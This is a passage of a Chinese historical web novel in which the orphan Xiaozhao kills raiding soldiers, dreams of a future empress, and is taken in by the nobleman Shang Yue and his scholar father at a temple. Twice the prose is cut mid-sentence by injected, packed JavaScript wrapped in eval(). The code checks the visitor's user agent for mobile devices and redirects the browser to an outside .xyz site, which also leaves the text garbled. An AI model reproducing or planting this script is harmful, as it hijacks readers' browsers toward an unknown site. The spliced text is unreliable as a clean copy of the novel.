那胡兵一眼看见她,咯咯笑起来,胡须颤动,抖出一串她听不懂的怪话。小昭转身欲逃,还没迈出两步,就被他轻而易举地提着后颈拎了起来。 她只能朝后猛踢一脚,向跟随的几人大吼:“走!” “阿姊……” “不要管我!” 所幸这胡兵抓到她后无暇多管,任凭他们钻入屋墙的裂缝中逃之夭夭。他像打量猪肉一般打量着她,见不远处的同伴扛刀而来,还愉悦地吹了个口哨。 小昭死死攥着后腰处的短剑,恍然想起,当年在东苑,她也是这样狼狈地落于人手。 ——可她已经不是当年手无寸铁、忘记反抗的孩子了。 9.无居(三) 无居(三) 小昭攒足了力气,拔剑出鞘,在那胡兵胸前一蹬,反身跳到了他的肩上。她一手击向对方手腕处,另一手在他还没反应过来的时候,带着利刃划过了他的喉咙。 一剑封喉。 鲜血溅了她半张脸。 胡兵捂着脖子倒了下去,瞪着一双眼睛看她,抽搐了几下后才发出一声痛苦的嘶叫。小昭松了腿,伏在他胸前又补一剑,终于再听不见任何声音了。 刚被唤来的另一个胡兵一时被她震住,不禁吞咽几口,意识到她不过是个比他们瘦弱许多的乞儿之后,才恼羞成怒地举刀攻来。小昭反身避过,连招也没有同他过,灵巧地回手一剑,就轻而易举地割断了他的喉管。 尸体重重砸在地上,他手上的环首刀“哐啷”一声,飞出好远。 第一次杀人,她居然没有产生什么旁的感受。 ——她来不及产生旁的感受,在这一瞬间,过往的一切涌入她的心头,灼灼点燃了血液间复仇的火焰。 扭曲的“铁人”、吐血的邻里、烧尽的村庄,她想起土坑间少年郎君苍白的笑容,想起道旁被售卖的银花阿姊发间颤抖的枯草。 小昭杀红了眼,她将短剑别回腰后,拾起沉重的环首刀,飞快地奔至正在拖行一名女子的另一胡兵身侧,先是砍断了那女子手上的绳索,后一刀砍向那凶恶的胡兵。 胡兵吃了一惊,见她浑身是血,不敢轻敌,退后几步与她缠斗起来。他人高马大,正好叫小昭回忆起当初与韩氏的府兵统领过招时——统领最初有些瞧不起她,猫捉耗子一般逗弄,想叫她知难而退,约莫半个月后才正经拿她当个对手。 半年不到,她满手是茧,终于在十招之内提刀逼近了对方的咽喉。 远处忽有人嘶吼“追兵来了”,小昭趁他分心的一刹那,飞快缠上来,勒住他的脖颈将人踩倒在地,一刀刺穿了他的心口。 刀刃翻搅,血肉模糊。 殖货里中无达官贵人之居所,巡守的市吏脚程太慢,也不愿为了被克扣的零星俸禄跟人拼命。残余的寥寥几个胡兵不晓得追兵是谁,只觉情形不妙,连忙向野郊窜逃而去,风中新鲜的血气漂浮一阵,随之淡去了。 小昭先前救下来的妇人已经吓呆,抱着双膝在道边瑟瑟发抖,听闻有追兵赶来,确认再三才扶着墙壁艰难站起身来。 “恩人!” 小昭跪在胡兵扭曲的尸体边,死死抓着环首刀的刀柄,半晌没有回神,听她唤了一声才如梦初醒。 她颓然松开手,心中没有大仇得报的欣喜,反而有难以抑制的痛苦和仇恨——杀尽她周身之人的不仅是胡兵,点燃洛阳大火的不仅是胡人!那朝堂上翻云覆雨的“大司马”,那踩着家人尸骨步步高升的“韩尚书”,他们不会如胡人一般逃窜、不会死在她的手中。 她拼尽全力所能诛杀的,也不过是他们手中的棋子。 唯一值得庆幸的,就是她不再像从前一般蒙昧,知晓自己究竟该恨谁了。 可她如今什么都做不了。 “啊——” 小昭咆哮了一声,将拳头重重地砸在地面上。恨、恨、恨!而她居然时至今日才敢直白地面对自己的恨意,她恨透了连她“安稳”幻想都毁去的这群人,恨透了无能为力的自己。 为什么长大会这样地缓慢。 为什么“有力量”要等待如此漫长的岁月? 她沉浸在这样的情绪中,浑身发抖,丝毫没有注意到那妇人是什么时候来到了自己面前。 “恩人……” 妇人又唤了她一声,“噗通”跪了下来,颤抖着伸手,用自己的衣袖抹去了她面上混杂着眼泪的鲜血。 小昭怔然看着她,直至被她像搂自己的孩子一般,一把抱进了怀中。 妇人恐惧未消,一句话都说不出来,只是抽泣。 她与阿母是差不多的年纪,瘦得两颊凹陷,抱得紧些,便能感受到坚硬的骨头。而她在这样的怀抱中缓缓平静了下来,随即像是对阿母撒娇一般,忍耐不住地放声大哭。 …… 姗姗来迟的士兵出郊追捕仅剩几个的胡兵,其余的人留下来清点尸体、帮忙灭火。小昭同那妇人告别后,回到先前所居之地,孩子们见匪兵已退,陆陆续续地自四处归来。 一个、两个…… 小昭定下心来,将人数了一遍,众人对里坊间道路熟悉,知晓何处好藏身,几乎无人受伤。 只是…… 她左右看了许久,直至见黄鼬也翻墙归来,心才蓦地沉了下去:“阿树呢?” 黄鼬也懵了:“她不在此处?我们出去不久就撞见了那些贼人,阿树跳下来,冲我打手势,顺着另外一边跑了。我想追上去,但一转眼就不见她人影了,我本以为她会自己回来的!” 众人连忙出去,分头在殖货里中寻找,找到日头高悬,一无所获。 只有小昭在一个幸存的老者那里听到了这样的言语:“我躲在墙后,见那贼人听见官兵声响,忙弃了手边的妇人,只拎着两个小女郎,急急往郊外跑了。” 殖货里只有这么大,就算阿树越过里坊门,这么久也应回来了才是。 平民家中已无粮米,胡人寻不到粮食,抓了好些妇孺做菜人。小昭听着丢了妻子的丈夫在另一侧向军士哀嚎,感觉眼前一阵阵地发黑。 黄鼬见小昭久久无言,十分愧疚,正要上前说些什么,小昭就忽然转过头来,对他道:“你带大家回去,今日不许出门,不许跟着我。” 黄鼬抓着她的手臂:“阿姊,你要到哪里去?” “我去找她回来,”小昭面无表情地道,“她若是过会儿自己回到了这里,更好,就当我去寻胡人报仇了。” 众人阻拦不得,黄鼬跪在她身后,泣道:“大家听话些罢,我们武艺不佳,去了也是给阿姊添乱!” 小昭回过头来,微微笑了笑。 “等我回来。” 她沿着坊外那些胡兵逃离的方向,一刻不停地追去了野郊山上。道路崎岖难行,行至一处枯枝林中,她还看见了一只尚有余温的女子胳膊。 手指温软,断臂处的鲜血初初凝固,想必是方丢下不久。 天旱得连护城壕沟中的水都已干涸,夏天日头高昂,山中的树木被吃得只剩干枝,无法为她提供荫庇。小昭口干舌燥,望着那只断臂,心中阵阵反胃。 可她不能停下。 阿树没有被他们抓走最好,可若是老者看见的女郎就是她,哪怕只有万一的可能…… 地上渗了已被晒干的血迹,她循着这样的气味,又翻过了一座野山。道旁的腥气越来越重,她眼前阵阵发花,好不容易凝聚了视线,却看见不远处出现了两个士兵装束的中年男子,正蹲在地上翻着什么。 士兵察觉到有人接近,唬了一跳,见是个小女郎才收了刀。小昭欣喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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另一人哆嗦着举起长刀,刚鼓足勇气扑过来,就被她掰着长刀的刀背,砍瓜一般砍断了脖子。 这次杀人,杀的甚至是官兵,可她比方才平静得多,甚至剥去了他们的衣物。 一方用于拭剑,另一方盖在了妇人裸|露的尸身上。 她实在没有力气将她拖去安葬了,只是伸手阖上了她的眼睛。 一日水米未进,劳心劳神,听过“只剩残肢”后,她强撑的精神几乎到了崩溃的临界点。 道旁的血迹越来越淡,小昭又爬起来走了许久后,终于一丝痕迹都寻不到了。她在郊野的荒林间跌跌撞撞地走着,也不知道自己走到了何处,世界在西斜太阳的光芒中天旋地转,混乱如同她遇见阿树的那一天。 不知过了多久以后,她遇见了一条彻底干涸的河渠。 渠中栽满荷花,可惜今夏无雨,荷花初初长成便败落泥中,只留下了绵延一片的枯荷,塞满河道,垂枝倒叶,生机尽失。 小昭自渠上的古石桥路过,抬眼便见旧桥那端立了一座破败的凉亭。此处似乎许久没有人来过了,亭中蛛丝结梁,连匾额上的篆文都被磨损得难以辨认。 一路酷热,终于得了一方阴凉。 小昭扶着凋朽的亭柱,没来得及再迈出一步,便直直栽倒,昏了过去。 而就在这炎炎夏日、枯荷环绕的无名亭宇中,她做了一个怪异的梦。 10.悼玉(一) 悼玉(一) 亭外似有微风在吹。 鬓边的乱发拂过面孔,梦境中也有发丝在飘扬。 小昭茫然地盯着眼前游荡的发丝,偶一出神,却见它们骤然变为了乱撞的珠玉。 一根朱缨系一颗白玉珠,她数了数,珠有十二颗,冠有十二旒。 十二旒……是天子冠冕。 而面前佩十二旒冕的,分明是一个女子。 她戴了冠,却没有束发,长长的头发就这样旖旎地散在案边,乌中杂白,似是落了一捧未化之雪。 殿中昏暗蒙昧,摆了许多铜镜,碎影如有鬼魅。十三盏连枝灯只有最上一盏燃着,幽幽映出了藻井中的金色佛莲。 烛火飘忽,莲影憧憧。 一位女官跪在这白发女子面前,面容隐在博山香炉的烟雾之后,只有声音传来:“陛下,还要继续听吗?” 良久,黑暗中才传来了一声“嗯”。 女官便清清嗓子,捧着手中绢帛,沉沉念道:“……故商君名樾,字良玉,世江陵望族,随父居洛阳,后迁建邺,先司州至徐、扬二州境内,多闻称颂……君与帝相扶于微末,有从龙功,至神朝初立,简在帝心,二年拜尚书令、御百官,龙作纳言,出入帝命。” “商君风神雅澹、仪范清泠,当世殊宠,贵在一身,纵因昔年数度易主、毁谤随身,不加疑焉。” “……” 女官沉稳的声音回荡在冷清的宫殿中,一字一句也像是漂浮在她周身一般,可惜那些字句过于陌生,轻飘飘的,小昭听过,尽数将它们抛到了脑后。 此刻她的眼中只能看到伏案的女子——她闭目假寐,身上披了一件雀蓝裘衣,像是睡着了一般。 她是谁? 小昭正想走近一些,那女子却忽而起身,衣袍带翻了案上的香炉。 霎时烟雾四起,小昭咳嗽几声,眨眼间便发现自己不知何时从那幽暗大殿来到了一方宅院当中。 女子冠冕已除,她仍旧散着长发,从满庭花枝的影子中路过。 小昭心生好奇,连忙跟了上去。 旧宅院里种满了青竹,斑驳光影摇晃在女子的裘衣上。她嗅到缭绕的清冽熏香,竹林间飘渺的风声在响。 小昭跟着那女子来到了竹林尽处,那里有一方莲花池塘。 夏日正盛,莲花正开得烂漫瑰丽。池边荡漾着清冽的气味,与半敞竹窗中飘出的熏香混作一团,腾漫的烟雾状似游魂。 女子踱步到窗前,鬼使神差地伸手,叩了三声窗棂。 当。当。 天光共花叶轻曳,斑驳光影摇晃在故人的白衫上。 当—— 烟雾倏然飘散。 隔着窗棂,小昭隐约看见了一个白衣男子。 可那男子同这梦中的所有人一般,飘忽不定,行迹无影,没有相貌。 女子也静静地看着窗中之人。 “我已熄了那盏连枝灯。” 半晌,女子开口道:“……是你执意要见我?” 无人回答,对方似在小憩。 “你想听我说什么?”她平静地开口,“我梦见过许多故人,唯独没有见过你,从前不肯入梦,今日……” “好,既然你执意要见我,那我便说给你听,你听好了——” 女子回头朝莲池看去,忽然笑起来。 “炎夏永昼……良玉,今日便是元康六年的端午次日。” “倘若我提前告知你——若你小憩醒来,纵马出城,便会在道中遇见一个浑身是血的女郎。” “你会将手中用以祭祀母亲的甜粽赠她,从此与她纠缠。” 时日久后,你将痛苦而无望地恋慕上她,奉献一生为她做垫脚石。 “但你想要的一切,她全都给不了你。” 譬如全心全意的爱恋、温柔钟情的对待、不生猜忌的信赖……安稳而终的人生。 随她而来的,只有泼天污名、摇摇欲坠的江山、颠沛流离的二十年,以及一杯猜忌的毒酒。 你将死于她手,就此泯灭为青史中零星的几个字。 她一口气说到这里,伸手攀住窗棂。 “这就是你的命运,我说得如此清楚,想必你也听得明白。” “现在,轮到我问你了……若你知晓这最后的一切,今日……你还要与她相见吗?” 周遭只有风声空寂而惘然地响。 大概是不会听到回答了,竹窗后香炉的烟雾越飘越浓,腾漫的白烟遮蔽了一切。小昭依稀听见有人自窗后匆匆站了起来,撞翻了席上的支踵,但她凑近去看,什么都看不见。 大雾弥漫,她努力寻找着先前那个女子的身影,偶一回身,那女子便如扑面的风一般从她身上越了过去。 她是虚无的。 这里的一切都是虚无的。 “小昭。” 跌跌撞撞间,忽然有人唤她。 不!不是虚无的! 不知是什么时候,那女子突然来到了她的身前。小昭顺着声音抬起头来,可惜她仍旧没有看清她的面容,因为她伸出手,将她揽在了怀里。 怀抱中传来熟悉的、清幽的香气。 “辛苦了。”她敛去笑意,轻轻地说。 口吻和韩仪相似,更多了一分沉稳,小昭还没来得及开口询问,她便俯下身来,在她耳边又说了一句话。 声音虚虚实实,被骤然变大的竹间风声吞没,不多时便飘飖而去了。 “你说什……” 梦境倏然消散。 小昭眨了眨眼睛,心神未定地醒来。 盛夏的景色呈现出一片蒸腾的扭曲,她半晌才看清了眼前漆色斑驳的亭柱,思索后方回忆起来——她出城寻找可能被胡兵带走的阿树,途中杀了两个士兵,困乏疲倦,昏倒在了道旁的阴凉处。 然后……她好像做了一个诡异的梦。 可梦中到底有什么,她竟在片刻之间就忘得一干二净,想得头痛欲裂,也只想起有个女子对她说了一句未听清的话。 那句话是什么? 这些时日乱梦太多,没过多久,小昭便不再在意这个无头无尾的梦了。她扶着亭柱从地面上爬起来,坐在了一侧的曲栏前。 小臂青了一片,双腿也隐隐作痛,想必是打斗中的淤伤——从前她很少留下这样的伤痕,只是如今填不饱肚子,瘦了许多,人也变得脆弱起来。 小昭坐在亭中出神。 线索断了,她这一日心力交瘁,再无力追踪下去,只能寄希望于虚惊一场。 但愿在她回到闾里时,阿树也已归去,仍旧坐在断裂的石壁前,眨着一双小鹿一样的眼睛看她。 她被这样的美好幻想安慰,面上也忍不住露出一丝微笑来。 轻微的风声掠过亭外的枯荷,带来几声半死不活的蝉鸣,小昭扭头趴在有些摇晃的木靠上,举目望去。 日已西斜,残红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766274|156673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 混金,将一片死寂的荷池都染出了几分风情颜色。她觉得这一片荷池有些熟悉,却想不起来在哪里见过,怔愣间,便有一串马蹄声由远及近,顷刻便逼近了她的耳边。 当今世道,能骑得上马的人寥寥无几,除了王公贵族,便是前线骑兵。 马蹄声停,有人下了马,向她所在处走了过来。 小昭汗毛竖起,下意识地握住自己的短剑,忍着手臂的酸痛,艰难地起了身。 但当她看清来人后,紧绷的神经却骤然舒缓了下来。 因为她面前并非穷凶极恶的兵士或胡人,而是一位清丽公子。 白马在不远处嘶鸣,面前之人白衫宽带,在盛夏的天气中,不知为何仍旧穿着一件轻薄的深色披风。他仍旧是长发半束,发丝飘荡,小昭缓缓抬起头来,一眼看清了他眉心的朱砂痣。 夕阳如纷乱园中的大火,片刻间便唤醒了她几乎变得渺远的记忆。 ——是曾经赠她一件御寒外袍的人啊。 那件雀蓝色的披风陪伴她在外城流浪,为她抵御了数个夜晚的寒风,变得陈旧褪色、伤痕累累。她被韩仪收留之后,将披风小心洗净,压在了衣箱的最底下。 后流光飞驰而过,她将这件披风忘得干干净净,再也没有见过它。 旧事飘渺得如同梦中的虚影,她从未想过,能重新遇见披风的主人。 不过时移世易,她又长大,相貌气质大变,想必对方是不会认出这数年前随手行善的对象的。 小昭松了握剑的手,正呆立原地,肚子却不合时宜地响起一声饥饿的“咕”。她从那粒朱砂痣上收回目光,却发现对面的公子面色茫然,似乎也不明白自己为什么来到了这里。 听到她肚中的响声后,他如梦初醒,鬼使神差地抬起手,将手中拎的整串粽子都挂在了她的手臂上。 清苦艾叶中包裹的甜蜜气息熟悉而诱人,昨日黄鼬带回一枚粽子,她克制地咬了一口,恋恋不舍地将食欲吞回肚中。 这一口就可以让众人高兴到半夜,而眼前可是一整串! 那公子莫名其妙地将一整串甜粽赠予她后,一句话都没有说。他微微蹙着眉,退了一步,好似也不打算再说什么,转身便要离去。 小昭来不及思索,脱口唤他:“公子!” 他顿住了脚步,没有回头。 小昭攥紧了手中的一串甜粽,心中霎时飞过了千百个念头。 他与东苑中人为友,衣着光鲜、白马膘壮,必定是洛阳城中高门望族的贵公子。 前番解衣,此番赠粽,毫不吝啬,亦不居恩,韩仪之后,这是第一个丝毫不图回报地对待她的陌生人。 虽说世人大都表里不一,但她冥冥中确信,他并非其中一员。 煎熬乱世中,她如同野草般挣扎着,寻找食物、保护自己和朋友,提防比她庞大得多的怪物张口将他们吞掉,苦苦等待着长大。她已不再像遇见韩仪时一般懵懂,既然能重遇这一段机缘,绝不可能放任它错失! “公子,”小昭又唤了一声,她强迫自己冷静下来,斟酌着,飞快地道,“我们曾经见过,公子可还记得?我虽年少,但识文断字,会使刀剑,绝不会辜负一口粮米。时局纷乱,不知道……我对公子有没有用处?” 对方听完这话,默了片刻,缓缓转过身来。 小昭只觉心快要从腔子里跳出来了,他却盯着她,许久才微微笑了笑。 “你长大了。”他说。 11.悼玉(二) 悼玉(二) 她僵硬地站在原地,砍杀胡人和官兵残留的血迹在褴褛的衣衫上洇出暗红的颜色。 “上次见面,还有些莽撞,”他将她礼貌地打量一遍,丝毫不在意她身上的血污,口气像是同老友谈天一般从容平静,“你叫什么名字?” “我叫小昭,是日光明亮的昭。” “小、昭。” 他念了一遍,面上仍带着那种微淡的笑意:“我叫商樾。” 他没有解释是哪个樾。 投来的目光如此纯净,不带半分居高临下的审视,只有似曾相识的悲悯。心跳在这样的目光中逐渐平复下来,她不再紧张,直直地注视着对方那双雾色氤氲的眼睛,半晌才想起来,她曾经听过这个名字。 似乎也是某个后院书会散后的黄昏,韩仪的案上落了一本无名的集子,是她的日常抄录。她随手翻开一页,看见一篇题为“椿游”的赋。 “孟春之月,风摇晴翠;朝发之日,气象华光。步东苑而游佚,乐酌酒以忘忧。怨梓泽之芳美,忍零落之山丘……登楼台以迥眺,见冢水之枯骨。今腐蝇之肉血,昔金殿之公卿……飘飖春草,命若秋霜;哀岁不永,谁与携游?” 东苑主人好客,苑中多雅集,韩仪的兄长也在受邀之列。韩仪闲来帮兄长整理诗文,见了这一篇,便抄录在了手边的空白集子上。 小昭呆坐在案前读着这篇《椿游赋》,恰巧韩仪路过,见此多有嗟叹,便与她说了几句。 作赋之人,名为商樾。 商氏文出颍川,武出江陵,两支自后汉初时,便皆有高位之人在朝,绵延几百年之久,是当之无愧的大姓。 商樾便出身于江陵商氏。 江陵商氏昔年最盛时,商樾之父商谨官居中书令、身在凤凰池,为长公主侍讲;商樾之兄、江陵商氏长公子商柏初及弱冠便立战功,拜征西将军、凉州刺史,是国朝罕见的少年英杰。 只可惜,长公子在一次奉旨平乱中,被妒忌的同辈蓄意报复,未等到援军,苦守三日而战死,连尸骨都没有留下。 消息传回洛阳,内廷震怒,那报复他的同辈被处以极刑,身后整个家族元气大伤。只因大族势力盘根错节,商谨又上书求情,天子才没有广开株连。 那一年是温皇后病逝的宜丰十年。 次年,朝中政变,长公主被逐至封国。商谨痛失长子后疾病缠身,便借机辞去了中书令之职,退居广润寺,整编《尚书》,自此不问世事。 显赫一时的江陵商氏就此沉寂,如今朝中多为颍川商氏的门生故吏。城中倒常提这一段惨烈旧事,因为江陵商氏还有一位极为有名的二公子,商樾。 商樾尚且年少时,便因极富才情名满洛阳。兄长战死后,他没有跟随父亲避居广润寺,而是以家族之名在洛阳广开慈善,捐修伽蓝。如今洛阳城内外四十二座佛寺,一半都有商氏供养。 韩仪没有见过商樾,但听闻其昔日乘车过市时,风吹纱起,落花盈身,姿容绝世,兼因悲悯善济,世人赠号曰“水月观音”。 天潢贵胄、平民婢奴,或受其恩惠,或慕其品行,提及此人,皆是交口称赞。 天子、梁王及后入洛阳的扶风王曾三召商樾出仕,他以自己年少,固辞不受,只袭祖荫,做着清名侯爵。 偶尔应友人之邀,雅集端坐,清谈缄默,惜字如金。 是而韩仪见他文墨,十分讶异地抄录了下来。 “君子之道,观其行迹,不究其心。此人慎名,倒比那些高谈阔论之人有趣得多。” “慎名”——韩仪最后用这两个字形容他。 那时小昭完全想不到,自己竟早就见过这传闻中的人物,更想不到重逢时他还记得她。 “小昭,”商樾见她沉思不言,便开口唤她,“你阿母呢?” 她鼻尖微酸,忍着所有的复杂情绪,低声答道:“阿母已经不在了。” “那……你还有其他的亲人吗?” 小昭摇头。 商樾走近了些,淡淡的熏香萦绕在她的鼻尖,这次她嗅了出来,是梅花和松叶的味道。 “既然亲族尽死……”他低下头来看她,语气疑惑,“你为什么还要活下去呢?” 这话问得近乎恶毒。 若非对面是这样一位以悲悯著称之人,她简直怀疑他是要劝她轻生。 “活着是很痛苦的,尤其是在这样的世道里。”商樾抬手摸了摸她纷乱的头发,很真诚地说,“就算寻到了暂时的居所,谁又能保证它一定可靠?” “高门华屋、泥墙草棚,逢灾祸时,都是一样地脆弱。若生出希冀,再见破灭,岂非残忍?” 小昭想起一夕覆灭的韩氏,面色煞白,抖着嘴唇久久说不出话来。商樾将她额前的发丝一一理好,留下了一句“珍重”。 谁料他刚刚转过身,一只手便死死抓住了他的衣袖。 那只手白皙劲瘦,用力得青筋毕露。 “若公子不愿收留我——” 察觉到了他言语中的拒绝之意,小昭只觉一颗心直直向下坠去,但她不愿错失这来之不易的机会,情急之下也顾不得礼仪,慌乱地捉住了他的衣袖,想同他多说几句话:“……能否看在这一面之缘,帮我妹妹寻一个医师?若是劳烦……帮我寻到妹妹就好,今日胡兵劫掠,我同她失散了。” “妹妹?” 商樾将这两个字重复一遍,笑容中似乎带了些淡不可觉的嘲讽:“所以……你求我,是因为你在这个世间仍有牵挂之人。” “活下去,也是为了她们吗?” 她为什么而活着? 这个问题,从前她想不清楚,但从东苑的大火中、从思过楼的密道里奔逃而出后,她对着初升的太阳,终于想清楚了答案。 袖口砸下的玉佩、阿树伸出的手、心中深埋的恨意,都是她前行的推力。 但让她活下来的,是年幼时在逼仄铺子里锻造的回忆——她举着沉重的铁锤,一遍一遍地锤锻。铁料由炽热变得黯淡,再被重新烧红 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胸口那股凝结的郁气霎时一冲而散,竟有一种逃出生天的瘫软感。她仰起头,冲他露出一个灿烂笑容,一口答道:“会!” 他的白马比她在韩仪府中骑过的小马高大不少,小昭踩着马镫,被他托了一把才坐稳。商樾随着她翻身上马,伸手拽住了缰绳。 他低下头,看见了她血污遍布的衣衫,小昭察觉到他的视线,想要开口,却被他打断:“这是你的血吗?” 小昭摇头:“不是。” “那……下次杀人的时候要小心一些,”他淡淡地道,“不要染污自己的衣袍。” 商樾伸手解下了自己的披风,罩于她身前。小昭来不及好奇他为何在盛夏时节加衣,便嗅到了一丝微不可察的血腥气。 白马向着夕阳的方向缓慢踱步,她被商樾护在身前,无法回头,顺着他宽大的衣袖,隐约瞥见了袍角氤氲的半分血色:“这是公子的血吗?” 商樾漫不经心地答道:“无妨。” 熏香的气息就在身侧,淡淡的、冷冷的,小昭立刻想起了那件不知所踪的雀蓝披风,可她做不出感激涕零的情态,最终只是莫名其妙地说了一句:“多谢。” “不必谢我,”商樾顿了一顿,道,“天下流民何止百万,孤儿更难计数,商氏倾力建寺恤孤,能救的也不过一二。今日重逢,是天要救你。” 小昭攥紧了手中的那串甜粽,多问了一句:“是天要救我,可公子为何会到此处?” “我也不知道。” 半晌,商樾才开口,语气中多了一丝微渺的怅然:“那座凉亭,是我母亲生前所建,端午又是她的死祭。昨日,我在族中主持祭祀,无暇脱身,今日午后……我在窗后做了一个梦,梦见了什么,记不得了,但梦醒后,我忽然非常、非常想到这里来。” 他轻喝了一声“驾”,面上终于露出一丝发自眼底的笑。 “就当是亡母的指引罢。” 12.悼玉(三) 悼玉(三) 西明门与西阳门间原有一旧城门,名为雍门。雍门外三里御道之北,有洛阳城的第一座官修寺院白马寺。白马寺曾遭焚毁,后得重建,商樾之父、原中书令商谨于元康元年辞官,一直避居寺中。 只是白马寺香火太盛,又为御寺。次年,商氏便出资在白马寺后新修一寺一苑,寺名广润,苑名遣悲。说来奇异,广润寺虽为新修,几年来却频发异兆,夜中佛光、月下玄鸟、阶前碎碑,桩桩在城中引为美谈,倒分了白马寺不少香火。 不过小昭今日才知道,商樾当初在东苑提起要将她送去“广润寺”,是因为广润寺收留了商氏这些年施恩的孤弱,俨然已成为一座恤孤园。 建寺不过四年,但此处如她大小的孩子,算起来已有三四十个。众人在寺中分别劳作,或挑水、或理经、或侍奉花木、或清扫前庭,以换取衣食。商谨常年居于寺中,偶尔还会教年岁小的孩子认字。 她在闾里间寻到一处断壁残垣,能庇护七八个孤儿。 韩仪倾尽全力,但韩氏的后园终究太小,只容得下十数女子。 可若是积淀百年的家族所开之寺,若是德高望重的人臣所施之恩,便浩大、坦荡、海纳百川。 所谓的“长大”,所谓的“力量”,若能化为具象,大抵便是如此罢。 商樾将小昭带入广润寺后,又应她所求,将跟随她的几个孩子都收留了下来。 但他派遣了许多仆役,寻遍整座洛阳外城,都没有找到阿树的身影。 连那日逃窜出城的几个胡兵的尸体,都先后被洛阳周遭的城邑驻军找了出来。黄鼬跟着商氏的几个府兵去瞧——这些胡兵身边倒是带了些残肉断肢,但炎夏酷热,肢体不过几日便烂得一塌糊涂,根本分辨不出人形。 他不敢将所见告诉小昭,支吾道还要继续找。 小昭猜得出他的隐瞒,只是装作不知。 随后,她便大病了一场。 先前颠沛流离,数次生死攸关,她从来不曾倒下过,如今到了暂且可供依赖之地,她却骤然失力,绵延病了两个月之久。 期间,她曾趁无人之时挣扎着下榻,闯入前殿,跪在佛像前,许愿阿树若能平安,她愿意终生虔诚、供养神佛。 造像却无动于衷。 她最后一次闯入佛殿时,没有再下跪,只是冷冷地看着寺主反复叮嘱他们不可直视的佛目,看到眼眸酸痛,菩萨低眉也在视野中杂作混沌一片。 虔诚与否,能安慰的只有自己罢了。 商樾不在广润寺中居住,这几个月间只来了三次,一次为她寻了医师,一次侍奉菩萨诞辰。还有一次,他独自在寺苑最深处的藏经阁坐了一夜,未召陪侍,临走前得知她大病未愈,便来探望她。 不过她尚在昏睡,没能和他说上话。 伤病渐愈、能起身后,小昭遇见了他身边那个叫“阿应”的侍卫。 阿应全名连应,是商氏家仆之子,自幼习武,贴身跟随商樾。他还记得她的模样,初在广润寺中撞见她便惊叫道:“是你!” 小昭还记得自己曾经咬过他一口,有些心虚。 连应倒不计较从前的细枝末节,大方地帮她带了话。 商樾写了一张字条回来。 他的字迹铁画银钩、遒劲有力,与本人的气质毫不相干。 她蒙他恩惠来到此地,养活了颓垣中的孩子们,就算没有寻到阿树,仍记得那句“有没有用”的询问。 而商樾给她的答复十分客气。 他说,她可安心养病,不必“有用”,府中清客无数,供得起一口粮米。 商樾虽这么说,她却忍受不了无所事事的日子,病愈后立刻去寻了寺主。寺主见她识字,便拨她去整理后殿中散落的书页。 天转秋凉,寺中前庭上的桂花开得馥郁,远远便能闻见沁香。清夜无风,花好月圆,这日小昭从午后开始整理,到入夜仍未完成。她干脆抱着剩余的散页来到了前庭广润寺塔下,将它们一一摆在塔前空旷的地面上,方便归纳。 她一边摆着书页,一边仔细阅读。 这些书页都是商谨留下的,是他帮族人做的《尚书》解诂。 小昭曾在韩氏族学中见过《尚书》,可那书册残缺不说,内容更是佶屈聱牙,族学中的先生也难以解读。韩仪说,太学废弛之后,家族凭借着对典籍的精校,不断累积门生,代代相传,便成了当今的世家大族。 江陵商氏起于军功,而颍川商氏自前汉开始习儒,精研京氏易与大夏侯尚书,凭借对后者的精妙训诂奠定了家学渊源。此后几代,商氏名臣辈出,几乎垄断颍川文脉。 她们偷来共读、平淡无奇的书册典籍之中,竟藏着这样深不见底的力量。 离开韩氏之后,小昭许久不曾有这样静心凝神的时刻了。她弯着腰在庭院中穿梭,由于太过入神,还不小心撞上了人。 “得罪——” 顺着灰白的禅衣,她看见了一张与商樾极为相似的面孔。 面前之人瞧着不过四十出头,高束玉冠,气韵淡雅,虽有一缕灰白杂于发间,但他望之可亲,全无岁至中年带来的浑浊之感。 这一双眼睛与商樾过于相像了,她只看了一眼,便确定了对方的身份,连忙叉手行礼。 “小昭见过令君。” 商谨虽已辞官,但寺中尊敬,上下仍称其为“令君”。 他从她手中拿过了她方才痴望的书页,示意她直身免礼:“你便是阿樾前些时日从城外带回来的女郎?” 说起来,商谨一直居于寺中,她先前病得太久,整理书页也不过几日,竟从来没有见过他。 小昭便答道:“是。” “看得懂吗?”商谨晃晃手中的残页,“方才瞧你十分出神。” 他言语温和,平易近人,小昭的戒备之心放下不少,便答道:“令君每页上都写了许多阐释,唯独此页是空白,我方才出神,是有些好奇。” 商谨将书页递还给她:“寺主说你识字,那你便为我读一读这句罢。” 小昭答了句“好”,随即念道:“……璇玑玉衡,以齐七政。肆类于上帝,禋于六宗,望于山川,遍于群神——这是《尚书·舜典》中的一句。” 商谨笑着问她:“何解?” 小昭道:“令君说笑了,天下大儒都解不出来的 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或许是许久没有同人谈论这些了,她一口气说到这里,才意识到自己的失言。 商谨颇为意外地看着她,目光中浮现些许激赏之色:“你从前……跟着哪位先生读书?” 他大抵把她当成了哪个败落世家中的流亡孤女,贴心地没有问她的出身和姓氏。 小昭便顺着他的意思,谨慎道:“只是胡乱地翻过几页书,令君说笑了。” “寺主既叫你来为我理书,也算一段佛缘,”商谨随意地踩过地面上平放的书页,朝她走过来,“只是不知……这满地空谈,你可愿学?” 小昭眨了眨眼睛,听懂他这句话后,立刻屈膝,端正地朝他行了一个大礼:“何为空谈,何为实用,世人尚且争论不休。我只知,凡这世间的文字、凡这世间的知识,无论是什么,我都要学!令君若肯传授,小昭感激不尽。” 